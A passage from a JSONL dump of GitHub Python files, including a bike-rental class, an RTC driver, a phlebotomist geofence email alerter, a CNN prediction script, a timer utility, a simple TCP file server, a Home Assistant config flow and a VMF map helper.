        \n            blnIsShop = this.ValadateIsShop(objShop)\n\n            if  blnIsShop == True:                               \n\n                self.objShopInterctingWith = objShop\n\n            else:\n                raise RuntimeError('Intercting shop must be a shop object.')\n\n        except RuntimeError as error:\n            print(error)\n\n        return\n\n\n    ##################################################################\n    # Name:     RentBikes \n    # Abstract: Rent Bikes from shop (already connected to)\n    ##################################################################\n    def RentBikes(self, strAmountOfBike, strTypeOfRent, strTypeMultiplier):                                              \n        try:\n\n            blnValidShop           = False\n            blnValidRentType       = False\n            blnValidAmount         = False\n            blnValidTypeMultiplier = False\n\n            intAmount         = int(0)\n            intTypeMultiplier = int(0)\n\n\n            #Validate Input\n            blnValidShop     = self.ValadateIsShop(self.objShopInterctingWith)\n            blnValidRentType = self.ValadateRentType(strTypeOfRent)\n            blnValidAmount   = self.ValidatePositiveInteger(strAmountOfBike)\n            blnValidTypeMultiplier   = self.ValidatePositiveInteger(strTypeMultiplier)\n\n            #If valid\n            if (blnValidShop == True) and (blnValidRentType ==True) and (blnValidAmount ==True) and(blnValidTypeMultiplier ==True):\n\n                intAmount         = int(strAmountOfBike)\n                intTypeMultiplier = int(strTypeMultiplier)\n                                             \n                self.objShopInterctingWith.RentBikes(self, intAmount, strTypeOfRent, intTypeMultiplier)\n            \n            #Not valid\n            else:\n                raise RuntimeError('Invalid arguments in customer rent bikes.')\n\n\n        except RuntimeError as error:\n            print(error)\n\n        return\n\n    \n    ##################################################################\n    # Name:     ReceiveRentData \n    # Abstract: Used by shop to send customer  \n    ##################################################################\n    def ReceiveRentData(self, objShop, intRentID):                                              \n        try:\n            \n            blnValidShop           = False\n\n            blnValidShop = self.ValadateIsShop(objShop)\n\n\n            if (blnValidShop == True):                                           \n                \n                \n               self.__aintRentsIDs.append(intRentID)\n               self.__ashpShpsRentedFrom.append(objShop)\n               self.__ablnRenturned.append(False)\n\n               print(\"\\n\\tCustomer has rented the bikes successfully.\")\n\n            else:\n                raise RuntimeError('Internal error - Shop object must be sent to ReceiveRentData().')\n\n\n        except RuntimeError as error:\n            print(error)\n\n        return\n\n\n\n\n    ##################################################################\n    # Name:     ReturnBikes \n    # Abstract: Customer returns all bikes to shop connected to\n    ##################################################################\n    def ReturnBikes(self):                                              \n        try:\n\n            self.RequestBill()\n\n            intIndex = 0\n            intLength = 0 \n            blnAllReturnedAlready = True\n\n            intLength = len(self.aintRentsIDs)\n\n            \n            if( intLength > 0):\n\n                for intIndex in range(intLength):\n                    \n                    #This if controls that only returns bikes to this shop\n                    if(self.ashpShpsRentedFrom[intIndex] == self.objShopInterctingWith):\n                    \n                        intRentID = self.aintRentsIDs[intIndex]\n\n                        if(self.ablnRenturned[intIndex] == False):\n                        \n                            blnAllReturnedAlready = False\n\n                            self.ashpShpsRentedFrom[intIndex].ReciveBikeBack(intRentID)\n                            self.ablnRenturned[intIndex] = True\n                \n            else:\n                strMessage = \"\\tCustomer \" + self.strLastName+ \" \" + self.strFirstName + \" had not rented any bikes from this shop.\"\n                raise RuntimeError(strMessage)\n\n            if(blnAllReturnedAlready ==True):\n                strError = \"\\tCustomer \"+self.strLastName +\" \" + self.strFirstName + \" has already returned all bikes to this shop.\"\n                raise RuntimeError(strError)\n\n            print(\"\\t\",self.strLastName, self.strFirstName, \"has successfully returned all rented bikes from this shop \")\n\n        #ValueError - will catch errors if can not cast when 'intLength = len(self.aintRentsIDs)'\n        except ValueError as error:\n\n            intLength = int(0)\n            print(\"Internal error please contact support error:'ReturnRentedBike, len()'.\")\n\n        except RuntimeError as error:\n\n            print(error)\n\n        return\n\n    \n    \n    \n    \n    \n    ##################################################################\n    # Name:     RequestReports \n    # Abstract: Gets and prints reports form all shops \n    ##################################################################\n    def RequestBill(self):                                              \n        try:\n            intIndex = 0\n            intLength = 0 \n            blnAllReturnedAlready = True\n\n            intLength = len(self.aintRentsIDs)\n\n            \n            if( intLength > 0):\n\n\n                for intIndex in range(intLength):\n                    \n                    #This if controls that only returns bikes to this shop\n                    if(self.ashpShpsRentedFrom[intIndex] == self.objShopInterctingWith):\n                    \n                        if(self.ablnRenturned[intIndex] == False):\n                        \n                            blnAllReturnedAlready = False\n                \n\n                if(blnAllReturnedAlready == False):\n\n                    self.objShopInterctingWith.IssueBill(self)\n\n\n        #ValueError - will catch errors if can not cast when 'intLength = len(self.aintRentsIDs)'\n        except ValueError as error:\n\n            intLength = int(0)\n            print(\"Internal error please contact support error:'ReturnRentedBike, len()'.\")\n\n\n        return\n\n\n\n\n\n    ##################################################################\n    # Name:     RequestReports \n    # Abstract: Gets and prints reports form all shops \n    ##################################################################\n    def RequestReports(self):                                              \n        try:\n            blnCustomerRentedFromThisShop = False\n            intndex = 0     \n            intLength = 0\n            strMessage =\"\"\n\n            intLength = len(self.ashpShpsRentedFrom)\n            \n            #Customer \n            if(intLength > 0):\n\n                for intIndex in range(intLength):\n                    \n                    #makng sure customer rented from this shop\n                    if(self.ashpShpsRentedFrom[intIndex] == self.objShopInterctingWith):\n                        \n                        blnCustomerRentedFromThisShop = True\n                        \n                if(blnCustomerRentedFromThisShop == True):\n                    self.objShopInterctingWith.PrintCustomerReport(self)\n                \n                else:\n                    strMessage = \"\\tCustomer \" + self.strLastName+ \" \" + self.strFirstName + \" had not rented any bikes from this shop.\"\n                    raise RuntimeError(strMessage)\n            \n            else:\n                strMessage = \"\\tCustomer \" + self.strLastName+ \" \" + self.strFirstName + \" had not rented any bikes from this shop.\"\n                raise RuntimeError(strMessage)\n\n        except RuntimeError as error:\n\n            print(error)\n\n        return\n\n\n    #Incase i want to return first name and last name in customer claas instead of person\n\n    #######################################################################\n    # Decoration: @property\n    # Name:       strLastName\n    # Abstract:   Returns value of the \"encapsulated\" __strLastName\n    #######################################################################\n    #@property\n    #def strLastName(self):\n    #    return self.__strLastName \n    ########################################################################\n    ## Decoration: @property\n    ## Name:       strFirstName\n    ## Abstract:   Returns value of the \"encapsulated\" __strFirstName\n    ########################################################################\n    #@property\n    #def strFirstName(self):\n    #    return self.__strFirstName\n\n        ##################################################################\n    # Decoration: @strLastName.setter\n    # Name:       strLastName\n    # Abstract:   Sets the value of the \"encapsulated\" __strLastName\n    ##################################################################\n    #@strLastName.setter\n    #def strLastName(self, strLastName):        \n    #    try:       \n    #        if (strLastName != \"\"):\n    #            self.__strLastName = strLastName\n    #        else:\n    #            raise RuntimeError('Last name can not be an empty string.')       \n    #    except RuntimeError as error:\n    #        print(error)\n    #@strFirstName.setter\n    #def strFirstName(self, strFirstName):      \n    #    try:      \n    #        if (strFirstName != \"\"):\n    #            self.__strFirstName = strFirstName\n    #        else:\n    #            raise RuntimeError('First name can not be an empty string.')      \n    #    except RuntimeError as error:\n    #        print(error)","repo_name":"BenjaminGomori/BikeRental","sub_path":"CustomerClass.py","file_name":"CustomerClass.py","file_ext":"py","file_size_in_byte":24716,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"23502733832","text":"from micropython import const\n\n# I2C-Adresse des PCF80063A\nRTC_ADDRESS = const(0x51)\n\n# registar overview - crtl & status reg\nRTC_CTRL_1 = const(0x00)\nRTC_CTRL_2 = const(0x01)\nRTC_OFFSET = const(0x02)\nRTC_RAM_by = const(0x03)\n\n# registar overview - time & data reg\nRTC_SECOND_ADDR = const(0x04)\nRTC_MINUTE_ADDR = const(0x05)\nRTC_HOUR_ADDR   = const(0x06)\nRTC_DAY_ADDR    = const(0x07)\nRTC_WDAY_ADDR   = const(0x08)\nRTC_MONTH_ADDR  = const(0x09)\nRTC_YEAR_ADDR\t  = const(0x0a)\n\nDAY_OF_WEEK = [\"MON\", \"TUE\", \"WED\", \"THU\", \"FRI\", \"SAT\", \"SUN\"]\n\nclass RTC:\n  def __init__(self, i2c, addr=RTC_ADDRESS):\n    self._addr = addr\n    self._i2c = i2c\n\n  def decToBcd(self, val):\n    return (val // 10 * 16) + (val % 10)\n\n  def bcdToDec(self, val):\n    return (val // 16 * 10) + (val % 16)\n\n  def reset(self):\n    self._i2c.writeto_mem(self._addr, RTC_CTRL_1, '\\x58')\n\n  def fillByHMS(self, hour, minute, second):\n    self._i2c.writeto_mem(self._addr, RTC_SECOND_ADDR, bytearray([self.decToBcd(second)]))\n    self._i2c.writeto_mem(self._addr, RTC_MINUTE_ADDR, bytearray([self.decToBcd(minute)]))\n    self._i2c.writeto_mem(self._addr, RTC_HOUR_ADDR, bytearray([self.decToBcd(hour)]))\n\n  def fillByYMD(self, year, month, day):\n    self._i2c.writeto_mem(self._addr, RTC_DAY_ADDR, bytearray([self.decToBcd(day)]))\n    self._i2c.writeto_mem(self._addr, RTC_MONTH_ADDR, bytearray([self.decToBcd(month)]))\n    self._i2c.writeto_mem(self._addr, RTC_YEAR_ADDR, bytearray([self.decToBcd(year-2000)]))\n\n  def fillDayOfWeek(self, dayOfWeek):\n    self._i2c.writeto_mem(self._addr, RTC_WDAY_ADDR, bytearray([self.decToBcd(DAY_OF_WEEK.index(dayOfWeek))]))\n\n  def startClock(self):\n    second = self._i2c.readfrom(self._addr, 1)[0] & 0x7f\n    self._i2c.writeto_mem(self._addr, RTC_CTRL_1, bytearray([second]))\n\n  def readTime(self):\n    rdata = self._i2c.readfrom_mem(self._addr, RTC_SECOND_ADDR, 7)\n    return (\n      self.bcdToDec(rdata[6]) + 2000,\n      self.bcdToDec(rdata[5] & 0x1f),\n      self.bcdToDec(rdata[3] & 0x3f),\n      DAY_OF_WEEK[self.bcdToDec(rdata[4] & 0x07)],\n      self.bcdToDec(rdata[2] & 0x3f),\n      self.bcdToDec(rdata[1]) & 0x7f,\n      self.bcdToDec(rdata[0])\n    )\n","repo_name":"vittascience/stm32-libraries","sub_path":"grove_modules/stm32_pcf85063tp.py","file_name":"stm32_pcf85063tp.py","file_ext":"py","file_size_in_byte":2161,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"77"}
+{"seq_id":"8704828518","text":"# Global constants and login information\nfrom config import config, secrets\n\n# Other libraries\nfrom datetime import datetime, timedelta  # to run the task over an interval of time\nimport time\nimport requests                           # to make requests to the API\nimport smtplib                            # to send emails\nfrom email.mime.text import MIMEText      # to easily add metadata to email\nfrom shapely.geometry import shape, Point # to parse GeoJSON polygons\n\n\n'''\nPoll the API for the location data of a given phlebotomist.\n\nParams:\n    id_str - a string containing the ID number of the phlebotomist\n\nReturns the raw JSON data produced by the request.\n'''\ndef poll_sh_api(id_str):\n    results = requests.get(f\"https://3qbqr98twd.execute-api.us-west-2.amazonaws.com/test/clinicianstatus/{id_str}\")\n    return results.json()\n\n\n'''\nWrap email functions in a try/except to handle SMTP connection timeouts.\n'''\ndef attempt_email(email_type, id_str):\n    repeat = True\n    while repeat:\n        repeat = False\n        try:\n            if email_type == \"error\":\n                send_error_email(id_str)\n            elif email_type == \"lost\":\n                send_lost_email(id_str)\n            elif email_type == \"critical\":\n                send_critical_email(id_str)\n            elif email_type == \"safe\":\n                send_safe_email(id_str)\n        except smtplib.SMTPSenderRefused:\n            config.MAILER_OBJ  = smtplib.SMTP_SSL(config.SMTP_SERVER, config.PORT, context=config.SSL_CONTEXT)\n            config.MAILER_OBJ.login(secrets.EMAIL_ADDR, secrets.PASSWORD)\n            # repeat = True\n\n\n'''\nSend an email alert indicating that an error occurred while attempting to find the status of a given phlebotomist.\n\nParams:\n    id_str - a string containing the ID number of the phlebotomist\n\nDoesn't return anything.\n'''\ndef send_error_email(id_str):\n    msg = MIMEText(config.ERROR_MESSAGE(id_str), \"plain\")\n    msg[\"From\"] = config.SENDER\n    msg[\"To\"] = config.RECIPIENTS\n    msg[\"Subject\"] = f\"[ALERT] API Error for ID {id_str}\"\n    config.MAILER_OBJ.sendmail(config.SENDER, config.RECIPIENTS, msg.as_string())\n\n\n'''\nSend an email alert indicating that a phlebotomist has exited their bounding zone.\n\nParams:\n    id_str - a string containing the ID number of the phlebotomist\n\nDoesn't return anything.\n'''\ndef send_lost_email(id_str):\n    msg = MIMEText(config.LOST_MESSAGE(id_str), \"plain\")\n    msg[\"From\"] = config.SENDER\n    msg[\"To\"] = config.RECIPIENTS\n    msg[\"Subject\"] = f\"[ALERT] Out of Bounds Clinician ID {id_str}\"\n    config.MAILER_OBJ.sendmail(config.SENDER, config.RECIPIENTS, msg.as_string())\n\n\n'''\nSend an email alert indicating that a phlebotomist has been outside the bounding zone\nfor an extended period of time.\n\nParams:\n    id_str - a string containing the ID number of the phlebotomist\n\nDoesn't return anything.\n'''\ndef send_critical_email(id_str):\n    msg = MIMEText(config.CRIT_MESSAGE(id_str), \"plain\")\n    msg[\"From\"] = config.SENDER\n    msg[\"To\"] = config.RECIPIENTS\n    msg[\"Subject\"] = f\"[ALERT] Excessive Out of Bounds Clinician ID {id_str}\"\n    config.MAILER_OBJ.sendmail(config.SENDER, config.RECIPIENTS, msg.as_string())\n\n\n\n'''\nSend an email alert indicating that a phlebotomist has returned to within their bounding zone.\n\nParams:\n    id_str - a string containing the ID number of the phlebotomist\n\nDoesn't return anything.\n'''\ndef send_safe_email(id_str):\n    msg = MIMEText(config.SAFE_MESSAGE(id_str), \"plain\")\n    msg[\"From\"] = config.SENDER\n    msg[\"To\"] = config.RECIPIENTS\n    msg[\"Subject\"] = f\"[ALERT] Returned to Bounds Clinician ID {id_str}\"\n    config.MAILER_OBJ.sendmail(config.SENDER, config.RECIPIENTS, msg.as_string())\n\n\n'''\nDetermine whether an API response is an error or actual GeoJSON data.\nIf it's an error, send an error email.\nIf it's actual data, process that data to determine the phlebotomist's location.\n\nParams:\n    id_str - a string containing the ID number of the phlebotomist\n\nReturns True if the phlebotomist is safe, and False otherwise.\n'''\ndef is_phlebotomist_safe(id_str):\n    res = poll_sh_api(id_str)\n    if \"error\" in res:\n        # if the \"error\" key exists in the response, an error has occurred;\n        # try to make the api call again, up to 5 times\n        counts = 5\n        while \"error\" in res and counts > 0:\n            time.sleep(5)\n            res = poll_sh_api(id_str)\n            counts -= 1\n        # if the API is still erroring, stop trying and move onto the next clinician\n        if \"error\" in res:\n            return \"error\"\n    else:\n        if not determine_valid_location(res[\"features\"][0][\"geometry\"], res[\"features\"][1:]):\n            return \"unsafe\"\n    return \"safe\"\n\n'''\nDetermine whether the phlebotomist at location `point` is within the boundaries indicated by `bounds`.\n\nParams:\n    point  - the current location of the phlebotomist\n    bounds - the bounding box that the phlebotomist needs to be inside\n\nReturns True if the phlebotomist is in-bounds, and False otherwise.\n'''\ndef determine_valid_location(point, bounds):\n    # convert the `point` to a `shapely` shape object\n    loc = shape(point)\n    safe = False\n    for box in bounds:\n        # ditto for the bounding box\n        polygon = shape(box[\"geometry\"])\n        # if the clinician is in ANY of the bounding boxes in the list, they're safe\n        if polygon.contains(loc) or polygon.touches(loc):\n            safe = True\n            break\n    return safe\n\n\nif __name__ == \"__main__\":\n    print(f\"starting at {datetime.now()}\")\n\n    # log into the mailer\n    config.MAILER_OBJ.login(secrets.EMAIL_ADDR, secrets.PASSWORD)\n    \n    # calculate the time that the program should quit\n    endtime = datetime.now() + timedelta(minutes=60)\n\n    # initialize dict of IDs and statuses\n    statuses = {}\n    for id_str in config.VALID_IDS:\n        statuses[id_str] = \"safe\"\n\n    while datetime.now() < endtime:\n        for id_str in config.VALID_IDS:\n            result = is_phlebotomist_safe(id_str)\n            # if they're lost (and weren't already lost), send alert\n            if result == \"unsafe\" and statuses[id_str] == \"safe\":\n                statuses[id_str] = \"lost\"\n                attempt_email(\"lost\", id_str)\n            # if they've been lost for over 4 minutes, send alert\n            elif result == \"unsafe\" and statuses[id_str] == \"lost\":\n                statuses[id_str] = \"critical\"\n                attempt_email(\"critical\", id_str)\n            # if they're safe (and weren't already safe), send alert\n            elif result == \"safe\" and statuses[id_str] != \"safe\":\n                statuses[id_str] = \"safe\"\n                attempt_email(\"safe\", id_str)\n            # do nothing if they're safe and were already safe\n            # if there was an error, send alert\n            elif result == \"error\":\n                attempt_email(\"error\", id_str)\n        time.sleep(240)\n\n    config.MAILER_OBJ.quit()\n    print(f\"finished at {datetime.now()}\")\n","repo_name":"8BitRobot/phlebotomist-geolocator","sub_path":"service.py","file_name":"service.py","file_ext":"py","file_size_in_byte":6944,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"18188614628","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Sat Jul  6 17:20:17 2019\r\n\r\n@author: TSE\r\n\"\"\"\r\n\r\nimport pickle\r\nmodelCNN=pickle.load(open(r'CNNFullmodel.pkl','rb'))\r\n\r\nimport numpy as np\r\nfrom keras.preprocessing import image\r\ntest_image = image.load_img(r'E:\\catpd.jpg', target_size = (64, 64))\r\ntest_image = image.img_to_array(test_image)\r\ntest_image = np.expand_dims(test_image, axis = 0).astype(\"float\")\r\n\r\nresult = modelCNN.predict(test_image)\r\n\r\n\r\n\r\nif result[0][0] == 1:\r\n    prediction = 'dog'\r\nelse:\r\n    prediction = 'cat'\r\n\r\n\r\n","repo_name":"sraodev/DataScience-DeepLearning","sub_path":"DayWise/Day3/CNN/CNNFULLCall.py","file_name":"CNNFULLCall.py","file_ext":"py","file_size_in_byte":531,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"77"}
+{"seq_id":"38018909910","text":"import time\nfrom timeit import timeit\n\nWALL_EXECUTION_TIMES = 5\n\ndef print_readable_time(time_type, time_elapsed):\n    seconds, milliseconds = divmod(time_elapsed * 1000, 1000)\n    minutes, seconds = divmod(time_elapsed, 60)\n    hours, minutes = divmod(minutes, 60)\n    print(f'{time_type}: {int(hours):0d} hours, {int(minutes):02d} minutes, {int(seconds):02d} seconds {int(milliseconds):03d} milliseconds')\n\ndef function_to_measure():\n    time.sleep(2)\n    # Write the code you want to time here\n    return sum(range(10000000))\n\n# Wall-clock time (it also includes time waiting for resources)\ndef wall_execution_timer():\n    time_elapsed = timeit(function_to_measure, number=WALL_EXECUTION_TIMES)\n    print_readable_time('Wall Time', time_elapsed / WALL_EXECUTION_TIMES)\n\n# CPU time (it does not include time waiting for resources)\ndef cpu_execution_timer():\n    start_time = time.process_time()\n    function_to_measure()\n    end_time = time.process_time()\n    time_elapsed = end_time - start_time\n    print_readable_time('CPU Time', time_elapsed)\n\ndef main():\n    cpu_execution_timer()\n    wall_execution_timer()\n\nif __name__ == '__main__':\n    main()\n","repo_name":"laryssonalves/catalog-products","sub_path":"execution_timer.py","file_name":"execution_timer.py","file_ext":"py","file_size_in_byte":1154,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"18349828970","text":"import os\nfrom socket import *\n\nserver_name = \"\"\nserver_port = 61000\nserver_socket = socket(AF_INET, SOCK_STREAM)\nserver_socket.bind((server_name, server_port))\nserver_socket.listen(1)\nprint(\"TCP server awaiting connection on the port %d ...\" % (server_port))\nwhile True:\n    connection_socket, addr = server_socket.accept()\n    file_path = connection_socket.recv(1024)\n    file_path = file_path.decode(\"utf-8\")\n    if os.path.exists(f\"files/{file_path}\"):\n        with open(f\"files/{file_path}\", \"r\") as file:\n            data = file.read()\n    else:\n        data = \"File not found\"\n    connection_socket.send(data.encode(\"utf-8\"))\n    connection_socket.close()\nserver_socket.close()\n","repo_name":"ThiagoFPMR/DCA0103","sub_path":"lab_03/file_server.py","file_name":"file_server.py","file_ext":"py","file_size_in_byte":685,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"8230554739","text":"\"\"\"Setup config flow to allow configuring via the UI.\"\"\"\nfrom __future__ import annotations\n\nimport asyncio\nimport socket\nfrom typing import Any\n\nfrom homeassistant import config_entries, data_entry_flow\nfrom homeassistant.const import CONF_IP_ADDRESS, CONF_PORT\nimport voluptuous as vol\n\nfrom . import _LOGGER\nfrom .const import DEFAULT_PORT, DOMAIN\nfrom .utils import AnycubicPrinter\n\nCONFIG_SCHEMA = vol.Schema(\n    {\n        vol.Required(CONF_IP_ADDRESS): str,\n        vol.Required(CONF_PORT, default=DEFAULT_PORT): int,\n    },\n)\n\n\nclass ConfigFlow(config_entries.ConfigFlow, domain=DOMAIN):\n    \"\"\"Config flow for Printer.\"\"\"\n\n    async def async_step_user(self, user_input: dict[str, Any] | None = None):\n        \"\"\"Handle flow started via the user interface.\"\"\"\n        errors: dict[str, str] = {}\n        if user_input is not None:\n            try:\n                return await self._finalize(user_input)\n            except data_entry_flow.AbortFlow as err:\n                raise err from None\n            except (asyncio.TimeoutError, AssertionError):\n                errors[\"base\"] = \"cannot_connect\"\n            except socket.gaierror:\n                errors[\"base\"] = \"invalid_ip\"\n            except Exception as e:  # pylint: disable=broad-except\n                _LOGGER.error(str(e))\n                errors[\"base\"] = \"unknown\"\n\n        return self.async_show_form(\n            step_id=\"user\",\n            data_schema=CONFIG_SCHEMA,\n            errors=errors,\n        )\n\n    async def _finalize(self, user_input: dict[str, Any]):\n        \"\"\"Try to fetch required information and configure entitu.\"\"\"\n        printer = AnycubicPrinter(\n            user_input[CONF_IP_ADDRESS],\n            user_input.get(CONF_PORT, DEFAULT_PORT),\n        )\n        info = await printer.get_sys_info()\n        assert info, \"Failed to fetch information\"\n        await self.async_set_unique_id(info[\"identifier\"], raise_on_progress=False)\n        self._abort_if_unique_id_configured()\n        return self.async_create_entry(title=info[\"model\"], data=user_input)\n\n    async def async_step_import(self, user_input: dict[str, Any]):\n        \"\"\"Handle import flow.\"\"\"\n        return await self.async_step_user(user_input)\n","repo_name":"reddeppas/aplineinspecimage","sub_path":"custom_components/anycubic/config_flow.py","file_name":"config_flow.py","file_ext":"py","file_size_in_byte":2210,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"77"}
+{"seq_id":"9857762635","text":"\n\n# important todo: Find entities assigned to this visgroup...\nclass lizardvmf_visgroup:\n\t\"\"\"visgroup\"\"\"\n\n\t# todo: Some defaults ??\n\tdef __init__(self, rt, ct):\n\n\t\t# super(lizardvmf_solid_side, self).__init__()\n\t\t# self.material = arg\n\t\t# (root tag)\n\t\tself.lizard = rt\n\t\t# it's possible to access the bs4 object via this variable (this is a bs4 tag object)\n\t\tself.ctag = ct\n\t\t# since it's a pointer it will work just fine. Same as ctag, but with a different name for consistency\n\t\tself.prms = ct\n\t\t# same as .prms, but it's a dict. Is it settable?? Should be...\n\t\tself.prmsdict = ct.attrs\n\t\tself.name = ct['name']\n\t\tself.visgroupid = ct['visgroupid']\n\n\n\n\t@property\n\tdef name(self):\n\t\treturn self.ctag['name']\n\t\n\t@name.setter\n\tdef name(self, newname):\n\t\tif str(newname).strip() != '' and newname != None:\n\t\t\tself.ctag['name'] = str(newname)\n\t\t\treturn True\n\t\telse:\n\t\t\treturn False\n\n\n\t# get a free id for a visgroup\n\tdef vgetfreeid(self):\n\t\tlizard = self.lizard\n\n\t\t# collect all ids here\n\t\ttaken_ids = []\n\n\t\t# groups share id pool with ents and solids\n\t\tfor vgid in lizard.select('map visgroups visgroup'):\n\t\t\tif vgid.get('visgroupid') != None:\n\t\t\t\ttaken_ids.append(int(vgid['visgroupid']))\n\n\t\t# store free ids here\n\t\tfree_ids = None\n\n\t\t# basis\n\t\tbasis = 4\n\n\t\t# todo: very reliable but slow\n\t\twhile free_ids == None:\n\t\t\t# basically test all the ids until we find the suitable one\n\t\t\tbasis += 1\n\t\t\tif not basis in taken_ids:\n\t\t\t\tfree_ids = basis\n\t\t\t\t# There should always be enough free ids\n\t\t\t\treturn basis\n\n\n\t# create a new visgroup\n\t# important todo: Make this function accept custom ids ?\n\tdef add_new(self, vname=None):\n\t\tif str(vname).strip() != '' and vname != None:\n\t\t\tlizard = self.lizard\n\t\t\tvgtag = lizard.new_tag('visgroup', visgroupid=str(self.vgetfreeid()), color='202 246 72')\n\t\t\tvgtag['name'] = str(vname)\n\n\t\t\tself.ctag.append(vgtag)\n\n\t\t\treturn lizardvmf_visgroup(lizard, vgtag)\n\t\telse:\n\t\t\treturn False\n\n\n\t# properly remove visgroup\n\tdef kill(self):\n\t\tlizard = self.lizard\n\t\t# first - remove all references to it from solids and ents\n\t\t# important todo: it's possible to select multiple things at once with ,\n\t\tfor ref in lizard.select('map solid editor[visgroupid=\"' + str(self.ctag['visgroupid']) + '\"], map entity editor[visgroupid=\"' + str(self.ctag['visgroupid']) + '\"]'):\n\t\t\tdel ref['visgroupid']\n\t\t\t# todo: is try really needed ?\n\t\t\ttry:\n\t\t\t\tref['visgroupshown'] = '1'\n\t\t\t\tref['visgroupautoshown'] = '1'\n\t\t\texcept:\n\t\t\t\tpass\n\n\t\t# and finally - commit self die\n\t\tself.ctag.decompose()\n\t\treturn True\n\n\n\n\n\n\nclass lizardvmf_cordon:\n\t\"\"\"Cordon box\"\"\"\n\n\tbox = None\n\n\t# returns box center and scales\n\t# takes strings as an input...\n\t# todo: take tuple as an input ?\n\tdef cordon_to_blender(self, mins, maxs):\n\t\timport math\n\t\tminsplit = mins.replace('(', '').replace(')', '').split(' ')\n\t\tmaxsplit = maxs.replace('(', '').replace(')', '').split(' ')\n\n\t\tmin = (float(minsplit[0]), float(minsplit[1]), float(minsplit[2]))\n\t\tmax = (float(maxsplit[0]), float(maxsplit[1]), float(maxsplit[2]))\n\n\t\t# x y z\n\t\tp1 = (min[0], min[1], max[2])\n\t\tp2 = (max[0], min[1], max[2])\n\t\tp3 = (max[0], min[1], min[2])\n\t\tp4 = (min[0], min[1], min[2])\n\t\tp5 = (min[0], max[1], max[2])\n\t\tp6 = (max[0], max[1], max[2])\n\t\tp7 = (max[0], max[1], min[2])\n\t\tp8 = (min[0], max[1], min[2])\n\n\t\t# get distance\n\t\tdef distance(x1, y1, z1, x2, y2, z2):\n\t\t\t  \n\t\t\td = math.sqrt(math.pow(x2 - x1, 2) +\n\t\t\t\t\t\tmath.pow(y2 - y1, 2) +\n\t\t\t\t\t\tmath.pow(z2 - z1, 2)* 1.0)\n\t\t\treturn d\n\n\t\t# get 3D modpoint\n\t\tdef midpoint(n1, n2):\n\t\t\tcx = (n1[0] + n2[0]) / 2\n\t\t\tcy = (n1[1] + n2[1]) / 2\n\t\t\tcz = (n1[2] + n2[2]) / 2\n\t\t\treturn (cx, cy, cz)\n\n\t\toct = (midpoint(p1, p2)[0], midpoint(p4, p8)[1], midpoint(p1, p4)[2])\n\n\t\tobs_x = distance(p1[0], p1[1], p1[2], p2[0], p2[1], p2[2]) / 2\n\t\tobs_y = distance(p1[0], p1[1], p1[2], p5[0], p5[1], p5[2]) / 2\n\t\tobs_z = distance(p1[0], p1[1], p1[2], p4[0], p4[1], p4[2]) / 2\n\n\t\tpl_badwater = {\n\t\t\t'center': (oct[0], oct[1], oct[2]),\n\t\t\t'scale': (obs_x, obs_y, obs_z),\n\t\t\t'points': [p1, p2, p3, p4, p5, p6, p7, p8]\n\t\t}\n\n\t\treturn pl_badwater\n\n\n\t# todo: Some defaults ??\n\tdef __init__(self, rt, ct):\n\n\t\t# super(lizardvmf_solid_side, self).__init__()\n\t\t# self.material = arg\n\t\t# (root tag)\n\t\tself.lizard = rt\n\t\t# it's possible to access the bs4 object via this variable (this is a bs4 tag object)\n\t\tself.ctag = ct\n\t\t# since it's a pointer it will work just fine. Same as ctag, but with a different name for consistency\n\t\tself.prms = ct\n\t\t# same as .prms, but it's a dict. Is it settable?? Should be...\n\t\tself.prmsdict = ct.attrs\n\t\tself.name = ct['name']\n\t\tself.active = ct['active']\n\t\t# todo: what if box not found ? skip this cordon ?\n\t\tself.boxart = ct.select('box')[0]\n\t\t# mins and maxs\n\t\t# todo: make it also accept cubes ?\n\t\tself.box_z = None\n\t\tself.box_x = None\n\t\t# a cooler way to return box\n\t\t# self.box = ((0, 0, 0), (1024, 1024, 1024))\n\n\n\t# takes location and scale tupe, returns mins and maxs\n\t# important todo: this function was duplicated into the lizardvmf\n\t# either make these 2 functions external or place them better\n\tdef blender_to_cordon(self, eloc, escale):\n\t\tcent = (eloc[0], eloc[1], eloc[2])\n\t\tscl = (escale[0], escale[1], escale[2])\n\n\t\tmin_x = cent[0] - (scl[0] / 2)\n\t\tmin_y = cent[1] - (scl[1] / 2)\n\t\tmin_z = cent[2] - (scl[2] / 2)\n\n\t\tmax_x = cent[0] + (scl[0] / 2)\n\t\tmax_y = cent[1] + (scl[1] / 2)\n\t\tmax_z = cent[2] + (scl[2] / 2)\n\n\t\t# print(min_x, min_y, min_z)\n\t\t# print(max_x, max_y, max_z)\n\n\t\tret = {\n\t\t\t'mins': (min_x, min_y, min_z),\n\t\t\t'maxs': (max_x, max_y, max_z)\n\t\t}\n\t\treturn ret\n\n\n\n\t@property\n\tdef active(self):\n\t\tif self.ctag['active'] == '1':\n\t\t\treturn True\n\t\tif self.ctag['active'] == '0':\n\t\t\treturn False\n\t\n\t@active.setter\n\tdef active(self, cstate):\n\t\tif cstate == True:\n\t\t\tself.ctag['active'] = '1'\n\n\t\tif cstate == False:\n\t\t\tself.ctag['active'] = '0'\n\n\n\t@property\n\tdef name(self):\n\t\treturn self.ctag['name']\n\t\n\t@name.setter\n\tdef name(self, newname):\n\t\tif str(newname).strip() != '' and newname != None:\n\t\t\tself.ctag['name'] = str(newname)\n\t\t\treturn True\n\t\telse:\n\t\t\treturn False\n\n\n\n\t@property\n\tdef box(self):\n\t\treturn self.cordon_to_blender(self.boxart['mins'], self.boxart['maxs'])\n\n\n\t# for now, takes a tuple of two tuples: location, scale, ORDER IS IMPORTANT\n\t# YES, scale, NOT dimensions\n\t# made specifically to accept raw params from empty cube objects\n\t@box.setter\n\tdef box(self, obtr):\n\t\t# todo: check if proper syntax was passed\n\n\t\t# mins\n\t\tself.boxart['mins'] = ''\n\t\tself.boxart['mins'] += '('\n\t\tself.boxart['mins'] += 